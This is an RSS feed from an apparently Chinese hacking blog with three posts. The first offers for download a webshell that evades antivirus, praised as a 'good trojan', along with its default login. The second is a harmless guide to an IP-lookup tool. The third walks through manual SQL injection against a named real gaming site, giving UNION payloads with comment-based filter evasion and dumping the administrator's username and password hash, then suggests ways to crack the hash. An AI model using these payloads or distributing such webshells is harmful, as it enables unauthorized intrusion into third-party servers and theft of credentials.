<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>开心技术乐园 &#187; PHP</title>
	<atom:link href="http://www.hack520.org/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.hack520.org</link>
	<description>原创技术乐园</description>
	<lastBuildDate>Tue, 20 Dec 2011 03:29:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>今天刚捉到的免杀PHP木马提供下载</title>
		<link>http://www.hack520.org/spider-php-shell</link>
		<comments>http://www.hack520.org/spider-php-shell#comments</comments>
		<pubDate>Tue, 20 Jul 2010 14:17:39 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[黑客地带]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[木马]]></category>

		<guid isPermaLink="false">http://www.hack520.org/spider-php-shell</guid>
		<description><![CDATA[　　今天中午同事小张打来电话说公司供货平台网站首页打开时会弹出QQ中奖等乱七八糟的广告，而且网站的无法点击购买了商品了。我想肯定是网站被入侵了，才会被植入恶意广告代码。到工商后我打开查看供货平台网站，右下角弹出一个QQ中奖广告，外加一个弹窗广告，很明显网站被人篡改过了。登陆服务器，找到ECShop的安装目录，按时间排一下顺序，很快找到一只PHP木马，把它打包先收藏了。然后检查首页代码，有好多段Script，链接到一些JS文件。打开JS文件夹，按时间排序，最后一个是common.js，我打开检查了一下，的确链接到了一个网址，并且网址被URL编码了。所以一定有问题了，不加思索就把它删了。还有个问题就是网站里点“立即购买”没反应，状态栏显示网页有错误。我起先认为是ECShop的内核文件被修改过，所以马上打电话给网新的人让他们检查处理，结果他告诉我说这个网站他们已经不管了。没办法，打算自己检查修正。本来下午不打算弄的，因为身体不舒服想挂盐水，不过去楼下的社区卫生服务点，医生检查后说有点热度但不让挂。其实我想挂点滴是想让我的咽喉尽快好一些，这几天疼得厉害，这个星期天要参加事业单位的面试。 　　那也好，我打算下午把网站的事弄好，然后晚上去医院挂。其实已经想到了，那个错误是因为某个JS文件没有起作用导致的。实践证明我的猜想是正确的，被删的common.js是正常文件，只是被入侵者修改而已。原来以为要大动干戈一个个检查文件，现在只把那个还原就OK了。Google一下，发现ECShop的确有漏洞，2.7.1和2.7.2都有，检查版本为2.7.1，补上。再对系统做了一些安全设置，就算完成了。 　　其实以上的你可以不看，我只想把某天自己的经历写一下而已。本文真正想写的是那个PHP木马，上面已经说了收获了一只免杀的PHP木马，至少经我测试最新病毒库的NOD32和Mcafee都没有检查出来，而这个PHP木马并没有加密。 名叫SPS(Spider PHP Shell)v1.0（如下图），网上一搜还有3.0版本的，还有去后门版的， 懒得管了，是免杀的就是好马！提供我捉到的Spider PHP Shell v1.0下载，有没有后门大家自己检测吧！我实在太忙没有时间。喜欢的下载去研究研究： 　　免杀PHP木马点击下载 　　忘记说了，木马的登陆用户名和密码是：admin和admin。]]></description>
			<content:encoded><![CDATA[<p><img alt="PHP木马" src="http://img.hack520.org/2010-07/shopjxbot.jpg" title="免杀PHP木马" class="aligncenter" width="500" height="296" /></p>
<p><span id="more-533"></span><br />
　　今天中午同事小张打来电话说公司供货平台网站首页打开时会弹出QQ中奖等乱七八糟的广告，而且网站的无法点击购买了商品了。我想肯定是网站被入侵了，才会被植入恶意广告代码。到工商后我打开查看供货平台网站，右下角弹出一个QQ中奖广告，外加一个弹窗广告，很明显网站被人篡改过了。登陆服务器，找到ECShop的安装目录，按时间排一下顺序，很快找到一只PHP木马，把它打包先收藏了。然后检查首页代码，有好多段Script，链接到一些JS文件。打开JS文件夹，按时间排序，最后一个是common.js，我打开检查了一下，的确链接到了一个网址，并且网址被URL编码了。所以一定有问题了，不加思索就把它删了。还有个问题就是网站里点“立即购买”没反应，状态栏显示网页有错误。我起先认为是ECShop的内核文件被修改过，所以马上打电话给网新的人让他们检查处理，结果他告诉我说这个网站他们已经不管了。没办法，打算自己检查修正。本来下午不打算弄的，因为身体不舒服想挂盐水，不过去楼下的社区卫生服务点，医生检查后说有点热度但不让挂。其实我想挂点滴是想让我的咽喉尽快好一些，这几天疼得厉害，这个星期天要参加事业单位的面试。</p>
<p>　　那也好，我打算下午把网站的事弄好，然后晚上去医院挂。其实已经想到了，那个错误是因为某个JS文件没有起作用导致的。实践证明我的猜想是正确的，被删的common.js是正常文件，只是被入侵者修改而已。原来以为要大动干戈一个个检查文件，现在只把那个还原就OK了。Google一下，发现ECShop的确有漏洞，2.7.1和2.7.2都有，检查版本为2.7.1，补上。再对系统做了一些安全设置，就算完成了。</p>
<p>　　其实以上的你可以不看，我只想把某天自己的经历写一下而已。本文真正想写的是那个PHP木马，上面已经说了收获了一只免杀的PHP木马，至少经我测试最新病毒库的NOD32和Mcafee都没有检查出来，而这个PHP木马并没有加密。 名叫SPS(Spider PHP Shell)v1.0（如下图），网上一搜还有3.0版本的，还有去后门版的， 懒得管了，是免杀的就是好马！提供我捉到的Spider PHP Shell v1.0下载，有没有后门大家自己检测吧！我实在太忙没有时间。喜欢的下载去研究研究：</p>
<p><a href="http://img.hack520.org/2010-07/php-muma.png" target="_blank"><img alt="Spider PHP Shell" src="http://img.hack520.org/2010-07/phpmuma.jpg" title="Spider PHP Shell" class="aligncenter" width="600" height="356" /></a></p>
<p>　　<a href="http://img.hack520.org/2010-07/phpmuma.rar">免杀PHP木马点击下载</a></p>
<p>　　忘记说了，木马的登陆用户名和密码是：admin和admin。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/spider-php-shell/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IPFromQQWry下载 &#8211; 将纯真IP转换为Access或IP查询网页(PHP版)</title>
		<link>http://www.hack520.org/ipfromqqwry</link>
		<comments>http://www.hack520.org/ipfromqqwry#comments</comments>
		<pubDate>Thu, 26 Jul 2007 09:21:33 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[网站网页]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.hack520.org/ipfromqqwry%e4%b8%8b%e8%bd%bd%ef%bc%9a%e5%b0%86%e7%ba%af%e7%9c%9fip%e6%95%b0%e6%8d%ae%e5%ba%93%e8%bd%ac%e6%8d%a2%e4%b8%baaccess%e6%95%b0%e6%8d%ae%e5%ba%93%e6%88%96php%e7%89%88ip%e6%9f%a5%e8%af%a2</guid>
		<description><![CDATA[IPFromQQWry制作IP查询网页(php版) 1、下载一个最新的QQWry.dat文件； 2、新建一个目录，例如名为ip，将ip.php拷到该目录下； 3、ip目录下再新建一个目录名为iplib，运行IPFromQQWry.exe，选择“生成文本的数据库及PHP查询代码”，指定目标文件夹为 iplib，设置单个文件大小，随便设，一般为几百K即可。不要太小也不要太大，点生成，会生成一堆数据文件及 info.php。 4、将ip目录下的所有东西上传到支持PHP的服务器，查看ip.php即可。 使用IPFromQQWry要注意的 1、更新数据库，只要将iplib下的文件全删掉，然后再用程序用新的QQWry.dat生成一份即可，查询代码ip.php不用改动。 2、选择“生成access数据库”，可以生成.mdb的access数据库。如果生成失败，请确定机器安装了ADO的驱动程序(一般机器都有)，可以在Windows Update找到MDAC的更新。或者直接在微软网站下载： http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&#038;FamilyID=6c050fe3-c795-4b7d-b037-185d0506396c 本站会员下载IPFromQQWry —]]></description>
			<content:encoded><![CDATA[<p><img src="http://img.hack520.org/attachments/month_0707/IPFromQQWry.png" class="aligncenter" alt="IPFromQQWry"/><br />
<span id="more-101"></span><br />
<strong>IPFromQQWry制作IP查询网页(php版)</strong></p>
<p>1、下载一个最新的QQWry.dat文件；</p>
<p>2、新建一个目录，例如名为ip，将ip.php拷到该目录下；</p>
<p>3、ip目录下再新建一个目录名为iplib，运行IPFromQQWry.exe，选择“生成文本的数据库及PHP查询代码”，指定目标文件夹为 iplib，设置单个文件大小，随便设，一般为几百K即可。不要太小也不要太大，点生成，会生成一堆数据文件及 info.php。</p>
<p>4、将ip目录下的所有东西上传到支持PHP的服务器，查看ip.php即可。</p>
<p><strong>使用IPFromQQWry要注意的</strong></p>
<p>1、更新数据库，只要将iplib下的文件全删掉，然后再用程序用新的QQWry.dat生成一份即可，查询代码ip.php不用改动。</p>
<p>2、选择“生成access数据库”，可以生成.mdb的access数据库。如果生成失败，请确定机器安装了ADO的驱动程序(一般机器都有)，可以在Windows Update找到MDAC的更新。或者直接在微软网站下载：</p>
<p>http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&#038;FamilyID=6c050fe3-c795-4b7d-b037-185d0506396c</p>
<p>本站会员下载IPFromQQWry — <a href="http://www.hack520.org/wp-login.php">注册为本站会员即可下载，若已注册请登陆。</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/ipfromqqwry/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>我也来PHP手工注射全球中文网络游戏第一门户网站17173</title>
		<link>http://www.hack520.org/php-hack-17173</link>
		<comments>http://www.hack520.org/php-hack-17173#comments</comments>
		<pubDate>Wed, 13 Jun 2007 01:25:43 +0000</pubDate>
		<dc:creator>野球小子</dc:creator>
				<category><![CDATA[黑客地带]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.hack520.org/%e6%88%91%e4%b9%9f%e6%9d%a5php%e6%89%8b%e5%b7%a5%e6%b3%a8%e5%b0%84%e5%85%a8%e7%90%83%e4%b8%ad%e6%96%87%e7%bd%91%e7%bb%9c%e6%b8%b8%e6%88%8f%e7%ac%ac%e4%b8%80%e9%97%a8%e6%88%b7%e7%bd%91%e7%ab%99</guid>
		<description><![CDATA[　　一直没接触PHP语言方面的东西。昨天晚上看了一下PHP注射的资料，今天上完课回寝室再研究并实践了一下。年轻就是好，学什么东西都快，更何况是自己感兴趣的呵呵~~ 　　学PHP比学ASP有前途多了，因为目前很多大型的网站采用PHP程序。17173.com是一家专业性的网络游戏门户网站，目前位居全球简体中文网站第15位，游戏类第1位。这么大的网站安全性如何呢？下面我就拿这个全球中文网络游戏第一门户网站试下手。 　　为了节省时间，我就不一个个地试了，用工具扫下，在一个个人空间里我发现一注入点： http://vlog.17173.com/*******.php?id=***61 因为是手工注射，接下来我们手工一步一步来。 首先，判断注入点。 and 1=1 返回正常。 and 1=2 有错误提示。 注入基本上应该存在了。 接着，判断MySQL数据库的类型。 提交and o&#114;d(mid(version()，1，1)>51 /* 返回正常，说明MySQL的版本在4.0以上(ASCII码为51对应的数值为3)，4.0以上版本的支持UNION查询。 接下来就是判断字段数了。 提交order by 10 /*返回正常； 提交order by 20 /*同样返回正常； 提交order by 30 /*，返回不正常，继续在20和30之间猜解，最终发现order by 25 /*和order by 26 /*分别返回正常与不正常。 OK，字段数就是25！ 再下一步就是UNION查询了，提交: and 1=2 union sel&#101;ct 1，2，3，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25 /* 虽然返回了不同的界面，转到了另一个用户的个人空间界面，但是没有关系，我们本来就是为了让它出错，得到了我们想要的，当前界面上出现了12，2，17，13，3，8，9，6几个数字，这些都是可以查询的字段。 再接下来判断数据库连接帐号有没有写权限。 提交and (sel&#101;ct count(*) from mysql.user)>0 返回错误了，没有权限。再试试能不能用load_file()函数读取服务器上的文件，但结果没有成功读取出来。不过我们可以从上图中看到该文件在服务器上的绝对路径：/home/httpd/html/vlog.17173.com.v2/*****.php。从路径中可以判断出，服务器应该是Linux（Unix）操作系统。虽然我玩过一段时间的Linux，但对Linux下的WEB结构不是很熟悉。这个暑假一定得再去好好学习一下Linux。 接着继续。我们知道，MySQL跟MsSQL相似，有自己的内置函数，如当前连接用户user()，版本version()，当前数据库database()。我把2字段替换成user()，再次提交看看： 看到没有?2字段处返回了vlog@10.59.96.39，这就是user()当前的连接用户名。说明WEB与数据库不在同一台服务器上，不然10.59.96.39处应该为localhost。 [...]]]></description>
			<content:encoded><![CDATA[<p>　　一直没接触PHP语言方面的东西。昨天晚上看了一下PHP注射的资料，今天上完课回寝室再研究并实践了一下。年轻就是好，学什么东西都快，更何况是自己感兴趣的呵呵~~</p>
<p>　　学PHP比学ASP有前途多了，因为目前很多大型的网站采用PHP程序。17173.com是一家专业性的网络游戏门户网站，目前位居全球简体中文网站第15位，游戏类第1位。这么大的网站安全性如何呢？下面我就拿这个全球中文网络游戏第一门户网站试下手。</p>
<p>　　为了节省时间，我就不一个个地试了，用工具扫下，在一个个人空间里我发现一注入点：</p>
<p>http://vlog.17173.com/*******.php?id=***61</p>
<p>因为是手工注射，接下来我们手工一步一步来。<br />
首先，判断注入点。<br />
and 1=1<br />
<img src="http://img.hack520.org/attachments/month_0706/a200761311238.png" class="aligncenter" alt="php注入"/><span id="more-69"></span><br />
返回正常。<br />
and 1=2<br />
<img src="http://img.hack520.org/attachments/month_0706/520076131139.png" class="aligncenter" alt="php注入"/><br />
有错误提示。<br />
注入基本上应该存在了。</p>
<p>接着，判断MySQL数据库的类型。<br />
提交and o&#114;d(mid(version()，1，1)>51 /*<br />
<img src="http://img.hack520.org/attachments/month_0706/320076131156.png" class="aligncenter" alt="php注入"/><br />
返回正常，说明MySQL的版本在4.0以上(ASCII码为51对应的数值为3)，4.0以上版本的支持UNION查询。</p>
<p>接下来就是判断字段数了。<br />
提交order by 10 /*返回正常；<br />
提交order by 20 /*同样返回正常；<br />
提交order by 30 /*，返回不正常，继续在20和30之间猜解，最终发现order by 25 /*和order by 26 /*分别返回正常与不正常。<br />
<img src="http://img.hack520.org/attachments/month_0706/a200761311531.png" class="aligncenter" alt="php注入"/><br />
OK，字段数就是25！</p>
<p>再下一步就是UNION查询了，提交:<br />
and 1=2 union sel&#101;ct 1，2，3，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25 /*<br />
<img src="http://img.hack520.org/attachments/month_0706/t200761311628.png" class="aligncenter" alt="php注入"/><br />
虽然返回了不同的界面，转到了另一个用户的个人空间界面，但是没有关系，我们本来就是为了让它出错，得到了我们想要的，当前界面上出现了12，2，17，13，3，8，9，6几个数字，这些都是可以查询的字段。</p>
<p>再接下来判断数据库连接帐号有没有写权限。<br />
提交and (sel&#101;ct count(*) from mysql.user)>0<br />
<img src="http://img.hack520.org/attachments/month_0706/b2007613183229.png" class="aligncenter" alt="php注入"/><br />
返回错误了，没有权限。再试试能不能用load_file()函数读取服务器上的文件，但结果没有成功读取出来。不过我们可以从上图中看到该文件在服务器上的绝对路径：/home/httpd/html/vlog.17173.com.v2/*****.php。从路径中可以判断出，服务器应该是Linux（Unix）操作系统。虽然我玩过一段时间的Linux，但对Linux下的WEB结构不是很熟悉。这个暑假一定得再去好好学习一下Linux。</p>
<p>接着继续。我们知道，MySQL跟MsSQL相似，有自己的内置函数，如当前连接用户user()，版本version()，当前数据库database()。我把2字段替换成user()，再次提交看看：<br />
<img src="http://img.hack520.org/attachments/month_0706/f200761311649.png" class="aligncenter" alt="php注入"/><br />
看到没有?2字段处返回了vlog@10.59.96.39，这就是user()当前的连接用户名。说明WEB与数据库不在同一台服务器上，不然10.59.96.39处应该为localhost。</p>
<p>接下来猜解MySQL的表名，<br />
提交and/**/1=2/**/union/**/sel&#101;ct/**/1，user()，3，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25/**/from/**/admin/* (/**/表示空格)返回失败。<br />
提交and/**/1=2/**/union/**/sel&#101;ct/**/1，user()，3，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25/**/from/**/user/* 返回还是错误。看来表名不是那么好猜。我也不会这么轻易就放弃，继续猜，试了ymdown_user、manager等还是不行。快放弃的时候，试了下admin_user居然成功了！兴奋ing！<br />
<img src="http://img.hack520.org/attachments/month_0706/e200761311811.png" class="aligncenter" alt="php注入"/></p>
<p>接下来我们猜测admin_user这个表中的用户名和密码字段。这个应该不难，不过提交and/**/1=2/**/union/**/sel&#101;ct/**/1，password，username，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25/**/from/**/admin_user/* 返回错误。多试了几下，当试到了pwd和user时返回成功了。我把字段为2处换成pwd，字段为3处(即标签处)换成user。<br />
提交：and/**/1=2/**/union/**/sel&#101;ct/**/1，pwd，user，4，5，6，7，8，9，10，11，12，13，14，15，16，17，18，19，20，21，22，23，24，25/**/from/**/admin_user/*<br />
<img src="http://img.hack520.org/attachments/month_0706/c200761311918.png" class="aligncenter" alt="php注入"/><br />
仔细看返回的结果，pwd为8c3ad660fb********0315bf5051e6，是MD5散列。而标签处的user变成了administrator，也就是管理员的用户名。</p>
<p>管理员用户名和密码都暴了出来。密码虽然暴出来的是MD5加密散列，但这难不倒我们，有专门的破解网站或用工具在本地或挂肉鸡上跑，只要时间一长，密码自然会破解出来。</p>
<p>最后就是找管理员登陆界面(其实猜用户名和密码字段这一步也可以先找到管理员登陆界面，再查看其源代码得到)。我用几个常用的试了一下，都失败。也难怪，这么大的网站难能这么容易被你找到管理员登陆界面。马上想到了用GOOGLE HACK，但是还是失败。最终这次PHP注射之旅还是因为没有找到管理员登陆口而失败，但我学习到了很多，至少我已经成功爆出了管理员用户名和密码。<br />
当然只要有时间有耐心，管理后台肯定是可以找出来的，我这里不是为了恶意入侵所以没有再继续。漏洞我已经通知发留言通知他们了。应该说这是一般PHP网站手工注射的方法，没什么技术含量，高手见笑了。我花时间写这篇日志不为了什么，只是现在刚学习PHP注射，想到以后回过头来复习时可以方便很多。唉&#8230;今天晚上怎么又搞到一点多了，明天还有八节课，赶快睡觉啦！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hack520.org/php-hack-17173/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

